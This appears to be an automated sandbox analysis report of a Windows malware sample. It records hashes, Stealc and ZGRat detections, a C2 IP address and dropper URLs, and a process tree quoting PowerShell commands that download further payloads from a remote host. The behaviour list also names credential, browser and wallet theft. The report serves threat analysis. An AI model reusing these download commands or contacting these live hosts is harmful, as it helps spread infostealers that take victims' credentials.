Analysis

  • max time kernel
    296s
  • max time network
    244s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    09-05-2024 22:58

General

  • Target

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe

  • Size

    49KB

  • MD5

    d58a180c5d85448472b4e1007fae4b2a

  • SHA1

    c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54

  • SHA256

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d

  • SHA512

    78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsd5B9E.tmp\app.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5100
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:204
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3032
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1840
        • C:\Users\Admin\AppData\Local\Temp\u1f4.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u1f4.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4748
        • C:\Users\Admin\AppData\Local\Temp\u1f4.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u1f4.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:4780
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:708
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4500

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\Are.docx

    Filesize

    11KB

    MD5

    a33e5b189842c5867f46566bdbf7a095

    SHA1

    e1c06359f6a76da90d19e8fd95e79c832edb3196

    SHA256

    5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

    SHA512

    f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    66382a4ca6c4dcf75ce41417d44be93e

    SHA1

    8132cbef1c12f8a89a68a6153ade4286bf130812

    SHA256

    a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

    SHA512

    2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    bd07a04ff703b68279e1de431753ec52

    SHA1

    07c067c097858aab61a993b4121ccbd284a57380

    SHA256

    a8a4865c68ba2135f6566511361a378549b734a7b481330c5b8c74fb100c492f

    SHA512

    ab36b392a08825ce6852c209bc7490ee7c7ef8d2a4c42fde0bf4c61856962626b8edce9b36e810752c5df2ffa7a9e7e2b0880ba25fc6c5f881b166c97b60eea0

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    dc5d733037418043497b2c99124f132b

    SHA1

    5fe601c81ebc02660bd94d0c7c21f0daeea4e794

    SHA256

    757e1e1e4a6c6a62c3a71de6a32ba6023d3955b705ac11e0e7aec6e776ebc3a6

    SHA512

    0691ee1f24cee85afc59859c2c7b38cfbb8e3fb86afe26100ae6ed66d6128e858ad07a22763046e66dcbfb8b4cf50020c00500a2950185a743f2d9bf3b88bfab

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wiipjhxh.ndl.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\i1.exe

    Filesize

    384KB

    MD5

    0f39626443b9a5ecbdac24c96e12728a

    SHA1

    04c402e550534f0871471f5b80fc5723f283f25c

    SHA256

    fab860ca07692e3f3f2c438a9faf142288fdbcbb43edf24e8b3b88683a529477

    SHA512

    9b74eea35b9ed7ea5e286ec29a676407f72a63c3d90c22616d73d0626a0cf656d9e1aaafd8c07021c38c8bf9cc75cd1a6b6ca4f7198f07c8794aad1d4bf618e6

  • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

    Filesize

    3KB

    MD5

    31ac12b5051f61d39a941b58d49d3e4c

    SHA1

    fb365272f12ef2f4dcbc77695a4ce3996929a27d

    SHA256

    fb309125d53f8d7caebb0d1c75fe4aeee34afbd4cbd934544e2bd64cd167a5f5

    SHA512

    2c2328d147d4bbddfcb36e868b6362d56312b4d35a0b0a74eced0b7797d88da3448152a52b0dc4df4ed38d48b625ce36d0e44faeeaa4846a37c9d12a1b8f865b

  • C:\Users\Admin\AppData\Local\Temp\nsd5B9E.tmp\app.bat

    Filesize

    735B

    MD5

    f32d05160acf8325e9a09f09f80d16f4

    SHA1

    46e159b71e6ef99076c4002e1fda134e1d0a86c9

    SHA256

    da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37

    SHA512

    147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b

  • C:\Users\Admin\AppData\Local\Temp\u1f4.0.exe

    Filesize

    206KB

    MD5

    0917be53327ea132956255dcab650a82

    SHA1

    b60818917f645a8a9af3b530e3ae37c1f002be2f

    SHA256

    211c34660898480e0777c6ef6f61bf2111f6550e00b40cab859543d567dc455a

    SHA512

    a72acc24ba813d983bbf2ecab7929d0aab4e25637ae43e85b973a5105429bd15c061415fd855737620caaf81b456b2d6ba57f85566245efbe5f8b5db5560932a

  • C:\Users\Admin\AppData\Local\Temp\u1f4.1.exe

    Filesize

    4.6MB

    MD5

    397926927bca55be4a77839b1c44de6e

    SHA1

    e10f3434ef3021c399dbba047832f02b3c898dbd

    SHA256

    4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

    SHA512

    cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

  • \ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • \Users\Admin\AppData\Local\Temp\nsd5B9E.tmp\INetC.dll

    Filesize

    25KB

    MD5

    40d7eca32b2f4d29db98715dd45bfac5

    SHA1

    124df3f617f562e46095776454e1c0c7bb791cc7

    SHA256

    85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

    SHA512

    5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

  • memory/204-26-0x0000000007A00000-0x0000000007A66000-memory.dmp

    Filesize

    408KB

  • memory/204-28-0x0000000007A90000-0x0000000007AAC000-memory.dmp

    Filesize

    112KB

  • memory/204-45-0x0000000009AA0000-0x000000000A118000-memory.dmp

    Filesize

    6.5MB

  • memory/204-47-0x0000000072210000-0x00000000728FE000-memory.dmp

    Filesize

    6.9MB

  • memory/204-51-0x0000000072210000-0x00000000728FE000-memory.dmp

    Filesize

    6.9MB

  • memory/204-30-0x00000000082D0000-0x0000000008346000-memory.dmp

    Filesize

    472KB

  • memory/204-29-0x00000000085D0000-0x000000000861B000-memory.dmp

    Filesize

    300KB

  • memory/204-46-0x0000000009140000-0x000000000915A000-memory.dmp

    Filesize

    104KB

  • memory/204-27-0x0000000007C50000-0x0000000007FA0000-memory.dmp

    Filesize

    3.3MB

  • memory/204-25-0x00000000072D0000-0x0000000007336000-memory.dmp

    Filesize

    408KB

  • memory/204-24-0x0000000007150000-0x0000000007172000-memory.dmp

    Filesize

    136KB

  • memory/204-23-0x00000000073D0000-0x00000000079F8000-memory.dmp

    Filesize

    6.2MB

  • memory/204-22-0x0000000072210000-0x00000000728FE000-memory.dmp

    Filesize

    6.9MB

  • memory/204-21-0x0000000004B30000-0x0000000004B66000-memory.dmp

    Filesize

    216KB

  • memory/204-18-0x000000007221E000-0x000000007221F000-memory.dmp

    Filesize

    4KB

  • memory/708-210-0x00000200E04D0000-0x00000200E0508000-memory.dmp

    Filesize

    224KB

  • memory/708-201-0x00000200DAFA0000-0x00000200DAFF0000-memory.dmp

    Filesize

    320KB

  • memory/708-224-0x00000200DB660000-0x00000200DB7E9000-memory.dmp

    Filesize

    1.5MB

  • memory/708-221-0x00000200E0890000-0x00000200E08AE000-memory.dmp

    Filesize

    120KB

  • memory/708-220-0x00000200E0930000-0x00000200E09A6000-memory.dmp

    Filesize

    472KB

  • memory/708-219-0x00000200E07E0000-0x00000200E07EC000-memory.dmp

    Filesize

    48KB

  • memory/708-216-0x00000200E0DA0000-0x00000200E12C6000-memory.dmp

    Filesize

    5.1MB

  • memory/708-192-0x00000200BCB30000-0x00000200C0364000-memory.dmp

    Filesize

    56.2MB

  • memory/708-195-0x00000200C20E0000-0x00000200C20EC000-memory.dmp

    Filesize

    48KB

  • memory/708-194-0x00000200C2050000-0x00000200C2060000-memory.dmp

    Filesize

    64KB

  • memory/708-193-0x00000200DAB10000-0x00000200DAC1A000-memory.dmp

    Filesize

    1.0MB

  • memory/708-196-0x00000200C20D0000-0x00000200C20E4000-memory.dmp

    Filesize

    80KB

  • memory/708-197-0x00000200C21E0000-0x00000200C2204000-memory.dmp

    Filesize

    144KB

  • memory/708-199-0x00000200C2210000-0x00000200C223A000-memory.dmp

    Filesize

    168KB

  • memory/708-198-0x00000200C20A0000-0x00000200C20AA000-memory.dmp

    Filesize

    40KB

  • memory/708-200-0x00000200DAEA0000-0x00000200DAF52000-memory.dmp

    Filesize

    712KB

  • memory/708-202-0x00000200DAFF0000-0x00000200DB012000-memory.dmp

    Filesize

    136KB

  • memory/708-213-0x00000200E07D0000-0x00000200E07DA000-memory.dmp

    Filesize

    40KB

  • memory/708-203-0x00000200C20B0000-0x00000200C20BA000-memory.dmp

    Filesize

    40KB

  • memory/708-207-0x00000200DB360000-0x00000200DB660000-memory.dmp

    Filesize

    3.0MB

  • memory/708-214-0x00000200E07F0000-0x00000200E0852000-memory.dmp

    Filesize

    392KB

  • memory/708-209-0x00000200DF640000-0x00000200DF648000-memory.dmp

    Filesize

    32KB

  • memory/708-211-0x00000200DF6A0000-0x00000200DF6A8000-memory.dmp

    Filesize

    32KB

  • memory/708-215-0x00000200E0850000-0x00000200E0872000-memory.dmp

    Filesize

    136KB

  • memory/1840-115-0x0000000000400000-0x0000000002B1E000-memory.dmp

    Filesize

    39.1MB

  • memory/1840-145-0x0000000000400000-0x0000000002B1E000-memory.dmp

    Filesize

    39.1MB

  • memory/3032-55-0x0000000006D50000-0x00000000070A0000-memory.dmp

    Filesize

    3.3MB

  • memory/4500-82-0x0000000007D10000-0x0000000007D5B000-memory.dmp

    Filesize

    300KB

  • memory/4500-80-0x0000000007680000-0x00000000079D0000-memory.dmp

    Filesize

    3.3MB

  • memory/4748-118-0x0000000061E00000-0x0000000061EF3000-memory.dmp

    Filesize

    972KB

  • memory/4748-212-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/4748-117-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/4748-157-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/4748-253-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/4780-191-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/4780-181-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB